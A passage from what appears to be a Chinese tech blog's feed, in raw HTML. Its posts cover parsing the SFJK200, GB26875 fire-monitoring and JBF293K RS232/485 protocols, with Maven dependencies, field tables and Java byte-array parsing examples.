class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">7</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x02</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x79</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x8E</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x0F8A</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/9cd5f510c4f4005f1feace1d070245ae.png" alt="image-20230310104459414"></p><p>** 示例中的CRC校验错误 **</p><h2 id="模拟读写">模拟读写</h2><p>使用工具modbus slave工具</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5c120ea89d1f8c3e2bb9e26e78850c57.png" alt="image-20230314161609552"></p><h3 id="保存至influxdb结果">保存至influxdb结果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/d6df92e91e7fe563329cd9e9463a3d5a.png" alt="image-20230315102432432"></p><h2 id="下载modbus-slave测试内容">下载modbus slave测试内容</h2><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/EDKdtMoBt" title="Mbslave1.mbs"><i class="far fa-cloud-download"></i><span>Mbslave1.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/9G7nQvaup" title="Mbslave2.mbs"><i class="far fa-cloud-download"></i><span>Mbslave2.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/R5Q3Qrfs3" title="Mbslave3.mbs"><i class="far fa-cloud-download"></i><span>Mbslave3.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/Vcgy8UA1B" title="Mbslave4.mbs"><i class="far fa-cloud-download"></i><span>Mbslave4.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/Q2Siba4uL" title="Mbslave5.mbs"><i class="far fa-cloud-download"></i><span>Mbslave5.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/u20bhudBe" title="Mbslave6.mbs"><i class="far fa-cloud-download"></i><span>Mbslave6.mbs</span></a><a class="btn-beautify outline green larger" href="http://gofile.me/5lHRJ/ennnRl3zh" title="Mbslave7.mbs"><i class="far fa-cloud-download"></i><span>Mbslave7.mbs</span></a><h2 id="最后是使用的java开发的示例demo">最后是使用的java开发的示例demo</h2><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/sfjk-200">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/sfjk-200.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">demo下载</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;工具包引入&quot;&gt;工具包引入&lt;/h2&gt;
&lt;figure class=&quot;highlight xml&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="报文解析" scheme="https://blog.allbs.cn/tags/%E6%8A%A5%E6%96%87%E8%A7%A3%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>GB26875 城市消防远程监控 通讯协议解析</title>
    <link href="https://blog.allbs.cn/posts/17409/"/>
    <id>https://blog.allbs.cn/posts/17409/</id>
    <published>2023-03-02T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="工具包引入">工具包引入</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-model<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.8.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="源码下载"><a href="https://github.com/chenqi92/allbs-model">源码下载</a></h2><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/allbs-model">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/allbs-model.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">源码下载</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="解析字段说明">解析字段说明</h2><table><thead><tr><th style="text-align:center">字段值</th><th style="text-align:center">字段说明</th></tr></thead><tbody><tr><td style="text-align:center"><code>sysType</code></td><td style="text-align:center">系统类型标志</td></tr><tr><td style="text-align:center"><code>sysTypeTrans</code></td><td style="text-align:center">系统类型标志含义</td></tr><tr><td style="text-align:center"><code>sysAddress</code></td><td style="text-align:center">系统地址</td></tr><tr><td style="text-align:center"><code>sysDesc</code></td><td style="text-align:center">系统状态</td></tr><tr><td style="text-align:center"><code>partType</code></td><td style="text-align:center">部件类型</td></tr><tr><td style="text-align:center"><code>partTypeTrans</code></td><td style="text-align:center">部件类型翻译</td></tr><tr><td style="text-align:center"><code>partAddress</code></td><td style="text-align:center">部件地址</td></tr><tr><td style="text-align:center"><code>partDesc</code></td><td style="text-align:center">部件状态</td></tr><tr><td style="text-align:center"><code>partExplain</code></td><td style="text-align:center">部件说明</td></tr><tr><td style="text-align:center"><code>time</code></td><td style="text-align:center">时间</td></tr><tr><td style="text-align:center"><code>aq</code></td><td style="text-align:center">模拟量类型</td></tr><tr><td style="text-align:center"><code>aqNum</code></td><td style="text-align:center">模拟量值</td></tr><tr><td style="text-align:center"><code>operateType</code></td><td style="text-align:center">操作员标识</td></tr><tr><td style="text-align:center"><code>operatorNum</code></td><td style="text-align:center">操作员编号</td></tr><tr><td style="text-align:center"><code>mainVersion</code></td><td style="text-align:center">主版本号</td></tr><tr><td style="text-align:center"><code>minorVersion</code></td><td style="text-align:center">次版本号</td></tr><tr><td style="text-align:center"><code>sysConfLen</code></td><td style="text-align:center">系统配置说明长度</td></tr><tr><td style="text-align:center"><code>sysConfExplain</code></td><td style="text-align:center">系统配置说明 内容</td></tr><tr><td style="text-align:center"><code>runningStatus</code></td><td style="text-align:center">运行状态</td></tr><tr><td style="text-align:center"><code>transmittingConfLen</code></td><td style="text-align:center">系统配置说明长度</td></tr><tr><td style="text-align:center"><code>transmittingConfExplain</code></td><td style="text-align:center">系统配置说明 内容</td></tr><tr><td style="text-align:center"><code>msgData</code></td><td style="text-align:center">信息对象</td></tr><tr><td style="text-align:center"><code>msgDataType</code></td><td style="text-align:center">数据单元标识符-类型标志</td></tr><tr><td style="text-align:center"><code>msgDataTypeTrans</code></td><td style="text-align:center">数据单元标识符-类型标志</td></tr><tr><td style="text-align:center"><code>msgDataNum</code></td><td style="text-align:center">数据单元标识符-信息对象数目</td></tr><tr><td style="text-align:center"><code>flow</code></td><td style="text-align:center">流水号</td></tr><tr><td style="text-align:center"><code>sourceAddress</code></td><td style="text-align:center">源地址</td></tr><tr><td style="text-align:center"><code>targetAddress</code></td><td style="text-align:center">目的地址</td></tr><tr><td style="text-align:center"><code>controlOrder</code></td><td style="text-align:center">控制命令</td></tr><tr><td style="text-align:center"><code>data</code></td><td style="text-align:center">应用数据单元</td></tr><tr><td style="text-align:center"><code>happenTime</code></td><td style="text-align:center">时间</td></tr></tbody></table><h2 id="解析示例">解析示例</h2><h3 id="代码示例">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">34</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = <span class="number">0x40</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = <span class="number">0x40</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = <span class="number">0x76</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = <span class="number">0x1</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = <span class="number">0x2</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = <span class="number">0xc</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = <span class="number">0xf</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">9</span>] = <span class="number">0xb</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = <span class="number">0x7</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = <span class="number">0x16</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = <span class="number">0x50</span>;</span><br><span class="line">bytes[<span class="number">13</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">15</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">17</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = <span class="number">0x3c</span>;</span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0xce</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0xb5</span>;</span><br><span class="line">bytes[<span class="number">21</span>] = <span class="number">0x6a</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = <span class="number">0x8</span>;</span><br><span class="line">bytes[<span class="number">23</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = <span class="number">0x4</span>;</span><br><span class="line">bytes[<span class="number">25</span>] = <span class="number">0x0</span>;</span><br><span class="line">bytes[<span class="number">26</span>] = <span class="number">0x2</span>;</span><br><span class="line">bytes[<span class="number">27</span>] = <span class="number">0x19</span>;</span><br><span class="line">bytes[<span class="number">28</span>] = <span class="number">0x1</span>;</span><br><span class="line">bytes[<span class="number">29</span>] = <span class="number">0x1</span>;</span><br><span class="line">bytes[<span class="number">30</span>] = <span class="number">0x1</span>;</span><br><span class="line">bytes[<span class="number">31</span>] = (<span class="type">byte</span>) <span class="number">0x90</span>;</span><br><span class="line">bytes[<span class="number">32</span>] = <span class="number">0x23</span>;</span><br><span class="line">bytes[<span class="number">33</span>] = <span class="number">0x23</span>;</span><br><span class="line"><span class="type">GB26875Mapper</span> <span class="variable">gb26875Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">GB26875Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = gb26875Mapper.readValue(bytes, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="结果示例">结果示例</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/4d19de823782d9f6f66ea330aecf81a6.png" alt="image-20230302092553966"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;工具包引入&quot;&gt;工具包引入&lt;/h2&gt;
&lt;figure class=&quot;highlight xml&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="报文解析" scheme="https://blog.allbs.cn/tags/%E6%8A%A5%E6%96%87%E8%A7%A3%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>JBF293K 通讯接口卡 RS232/485 通讯协议解析</title>
    <link href="https://blog.allbs.cn/posts/47203/"/>
    <id>https://blog.allbs.cn/posts/47203/</id>
    <published>2023-02-24T02:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="工具包引入">工具包引入</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-model<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.4.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="源码下载"><a href="https://github.com/chenqi92/allbs-model">源码下载</a></h2><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/allbs-model">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/allbs-model.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">源码下载</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="解析字段说明">解析字段说明</h2><table><thead><tr><th style="text-align:center">字段值</th><th style="text-align:center">字段说明</th></tr></thead><tbody><tr><td style="text-align:center"><code>machineNo</code></td><td style="text-align:center">机器号</td></tr><tr><td style="text-align:center"><code>time</code></td><td style="text-align:center">时间</td></tr><tr><td style="text-align:center"><code>version</code></td><td style="text-align:center">版本号</td></tr><tr><td style="text-align:center"><code>order</code></td><td style="text-align:center">命令-中文说明</td></tr><tr><td style="text-align:center"><code>preOrder</code></td><td style="text-align:center">命令-原始值</td></tr><tr><td style="text-align:center"><code>code</code></td><td style="text-align:center">代码</td></tr><tr><td style="text-align:center"><code>controller</code></td><td style="text-align:center">控制器</td></tr><tr><td style="text-align:center"><code>message</code></td><td style="text-align:center">信息类型-中文说明</td></tr><tr><td style="text-align:center"><code>preMessage</code></td><td style="text-align:center">信息类型-原始值</td></tr><tr><td style="text-align:center"><code>circuit</code></td><td style="text-align:center">回路</td></tr><tr><td style="text-align:center"><code>part</code></td><td style="text-align:center">部位</td></tr><tr><td style="text-align:center"><code>disk</code></td><td style="text-align:center">盘号</td></tr><tr><td style="text-align:center"><code>district</code></td><td style="text-align:center">区号</td></tr><tr><td style="text-align:center"><code>boardNumber</code></td><td style="text-align:center">板号</td></tr><tr><td style="text-align:center"><code>line</code></td><td style="text-align:center">专线号</td></tr><tr><td style="text-align:center"><code>address</code></td><td style="text-align:center">地址</td></tr><tr><td style="text-align:center"><code>type</code></td><td style="text-align:center">部件类型-中文说明</td></tr><tr><td style="text-align:center"><code>preType</code></td><td style="text-align:center">部件类型-原始值</td></tr><tr><td style="text-align:center"><code>status</code></td><td style="text-align:center">状态</td></tr><tr><td style="text-align:center"><code>preStatus</code></td><td style="text-align:center">状态</td></tr><tr><td style="text-align:center"><code>sensorChannel</code></td><td style="text-align:center">传感器通道</td></tr><tr><td style="text-align:center"><code>alarmValue</code></td><td style="text-align:center">报警值</td></tr><tr><td style="text-align:center"><code>accumulateSum</code></td><td style="text-align:center">累加和</td></tr><tr><td style="text-align:center"><code>unit</code></td><td style="text-align:center">单位</td></tr></tbody></table><h2 id="心跳报文解析">心跳报文解析</h2><h3 id="报文解析示例">报文解析示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/05cb35f105f26091305ee615f1c7b0c1.png" alt="image-20230223133650040"></p><h3 id="示例代码">示例代码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x32</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x34</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x35</span>;</span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x3E</span>;</span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果图">结果图</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/144504d4725cbbc6bdd78e2dfa3e9ed8.png" alt="image-20230223134717092"></p><h2 id="正常应答数据">正常应答数据</h2><h3 id="报文解析示例-2">报文解析示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/49ad88409b7d505e80fab77a0d75b72b.png" alt="image-20230223134824987"></p><h3 id="示例代码-2">示例代码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">26</span>];</span><br><span class="line"><span class="comment">// 报文头</span></span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line"><span class="comment">// D1</span></span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x39</span>;</span><br><span class="line"><span class="comment">// D2</span></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x31</span>;</span><br><span class="line"><span class="comment">// D3</span></span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D4</span></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D5</span></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D6</span></span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D7</span></span><br><span class="line">bytes[<span class="number">13</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">14</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D8</span></span><br><span class="line">bytes[<span class="number">15</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">16</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D9</span></span><br><span class="line">bytes[<span class="number">17</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">18</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D10</span></span><br><span class="line">bytes[<span class="number">19</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">20</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D11</span></span><br><span class="line">bytes[<span class="number">21</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">22</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"><span class="comment">// D12</span></span><br><span class="line">bytes[<span class="number">23</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">24</span>] = (<span class="type">byte</span>) <span class="number">0x3A</span>;</span><br><span class="line"><span class="comment">// 报文尾</span></span><br><span class="line">bytes[<span class="number">25</span>] = (<span class="type">byte</span>) <span class="number">0x83</span>;</span><br><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h3 id="结果图-2">结果图</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/214a3f2fd6a07eba1d08ebc11b61e594.png" alt="image-20230223140344647"></p><h2 id="火警数据报文解析">火警数据报文解析</h2><h3 id="报文解析示例-3">报文解析示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/5e629cb295e8837ce8fcb23ad64862e0.png" alt="image-20230223140506381"></p><h3 id="代码示例">代码示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span 